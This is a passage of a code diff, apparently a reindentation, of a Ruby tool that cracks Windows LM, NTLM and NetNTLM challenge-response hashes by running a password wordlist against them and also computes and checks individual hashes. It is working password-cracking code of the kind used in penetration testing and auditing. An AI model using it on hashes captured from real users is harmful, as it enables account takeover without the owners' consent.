"[*] The passwords list file does not exist" + exit + end + if not File.file? list + $stderr.puts "[*] The passwords list provided is not a file" + exit + end + if not File.readable? list + $stderr.puts "[*] The passwords list file is not readable" + exit + end + else + usage + end end if type == "HALFLM" or type == "LM" or type == "NTLM" then - if srvchal != nil or clichal != nil or user != nil or domain != nil then - $stderr.puts "[*] No challenge, user or domain must be provided with this type" - exit - end + if srvchal != nil or clichal != nil or user != nil or domain != nil then + $stderr.puts "[*] No challenge, user or domain must be provided with this type" + exit + end elsif type == "HALFNETLMv1" or type == "NETLMv1" or type == "NETNTLMv1" then - if clichal != nil or user != nil or domain != nil then - $stderr.puts "[*] Client challenge, user or domain must not be provided with this type" - exit - end + if clichal != nil or user != nil or domain != nil then + $stderr.puts "[*] Client challenge, user or domain must not be provided with this type" + exit + end elsif type == "NETNTLM2_SESSION" then - if user != nil or domain != nil then - $stderr.puts "[*] User or domain must not be provided with this type" - exit - end + if user != nil or domain != nil then + $stderr.puts "[*] User or domain must not be provided with this type" + exit + end end case type when "HALFLM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,7}$/ - puts password - calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] LM password can not be bigger then 7 characters" - exit - end - calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase - puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] LM password can not be bigger then 7 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" - exit - end - calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,7}$/ + puts password + calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] LM password can not be bigger then 7 characters" + exit + end + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase + puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] LM password can not be bigger then 7 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal" + exit + end + calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "LM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,14}$/ - puts password - calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,14}$/ - $stderr.puts "[*] LM password can not be bigger then 14 characters" - exit - end - calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase - puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,14}$/ - $stderr.puts "[*] LM password can not be bigger then 14 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" - exit - end - calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,14}$/ + puts password + calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,14}$/ + $stderr.puts "[*] LM password can not be bigger then 14 characters" + exit + end + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase + puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,14}$/ + $stderr.puts "[*] LM password can not be bigger then 14 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal" + exit + end + calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NTLM" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase - puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase + puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + calculatedhash = CRYPT::ntlm_hash(permutedpw).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + end when "HALFNETLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,7}$/ - puts password - #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], - :challenge => [ srvchal ].pack("H*") } + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,7}$/ + puts password + #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one + arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7], + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{0,7}$/ - $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one - arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], - :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{0,7}$/ + $stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + #Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one + arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7], + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NETLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - if password =~ /^.{1,14}$/ - puts password - arglm = { :lm_hash => CRYPT::lm_hash(password), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{password.upcase}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not pass =~ /^.{1,14}$/ - $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass), - :challenge => [ srvchal ].pack("H*") } + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + if password =~ /^.{1,14}$/ + puts password + arglm = { :lm_hash => CRYPT::lm_hash(password), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{password.upcase}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not pass =~ /^.{1,14}$/ + $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass), + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" - exit - when PASS_MODE - if not pass =~ /^.{1,14}$/ - $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" - exit - end - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - arglm = { :lm_hash => CRYPT::lm_hash(pass), - :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}" + exit + when PASS_MODE + if not pass =~ /^.{1,14}$/ + $stderr.puts "[*] NETLMv1 password can not be bigger then 14 characters" + exit + end + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + arglm = { :lm_hash => CRYPT::lm_hash(pass), + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{pass.upcase}" - exit - else - puts "[*] Incorrect password provided : #{pass.upcase}" - exit - end - end + calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{pass.upcase}" + exit + else + puts "[*] Incorrect password provided : #{pass.upcase}" + exit + end + end when "NETNTLMv1" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLMv1 HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } - calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end when "NETNTLM2_SESSION" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - for permutedpw in permute_pw(password) - puts permutedpw - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} + File.open(list,"rb") do |password_list| + password_list.each_line do |line| + password = line.gsub("\r\n",'').gsub("\n",'') + for permutedpw in permute_pw(password) + puts permutedpw + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - if calculatedhash == hash.upcase - puts "[*] Correct password found : #{permutedpw}" - exit - end - end - end - end - puts "[*] No password found" - exit - when HASH_MODE - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} + if calculatedhash == hash.upcase + puts "[*] Correct password found : #{permutedpw}" + exit + end + end + end + end + puts "[*] No password found" + exit + when HASH_MODE + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" - exit - when PASS_MODE - if not hash =~ /^([a-fA-F0-9]{48})$/ - $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - for permutedpw in permute_pw(pass) - argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), - :challenge => [ srvchal ].pack("H*") } - optntlm = { :client_challenge => [ clichal ].pack("H*")} + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" + exit + when PASS_MODE + if not hash =~ /^([a-fA-F0-9]{48})$/ + $stderr.puts "[*] NETNTLM2_SESSION HASH must be exactly 48 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + for permutedpw in permute_pw(pass) + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(permutedpw), + :challenge => [ srvchal ].pack("H*") } + optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase - if hash.upcase == calculatedhash - puts "[*] Correct password provided : #{permutedpw}" - exit - end - end - puts "[*] Incorrect password provided : #{pass}" - exit - end + if hash.upcase == calculatedhash + puts "[*] Correct password provided : #{permutedpw}" + exit + end + end + puts "[*] Incorrect password provided : #{pass}" + exit + end when "NETLMv2" - case mode - when BRUTE_MODE - if not hash =~ /^([a-fA-F0-9]{32})$/ - $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" - exit - end - if not srvchal - $stderr.puts "[*] Server challenge must be provided with this type" - exit - end - if not srvchal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal" - exit - end - if not clichal - $stderr.puts "[*] Client challenge must be provided with this type" - exit - end - if not clichal =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" - exit - end - if not user - $stderr.puts "[*] User name must be provided with this type" - exit - end - if not domain - $stderr.puts "[*] Domain name must be provided with this type" - exit - end + case mode + when BRUTE_MODE + if not hash =~ /^([a-fA-F0-9]{32})$/ + $stderr.puts "[*] NETLMv2 HASH must be exactly 32 bytes of hexadecimal" + exit + end + if not srvchal + $stderr.puts "[*] Server challenge must be provided with this type" + exit + end + if not srvchal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge mus be exactly 16 bytes of hexadecimal" + exit + end + if not clichal + $stderr.puts "[*] Client challenge must be provided with this type" + exit + end + if not clichal =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" + exit + end + if not user + $stderr.puts "[*] User name must be provided with this type" + exit + end + if not domain + $stderr.puts "[*] Domain name must be provided with this type" + exit + end - File.open(list,"rb") do |password_list| - password_list.each_line do |line| - password = line.gsub("\r\n",'').gsub("\n",'') - puts password - arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), - :challenge => [ srvchal ].pack("H*") } - optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = 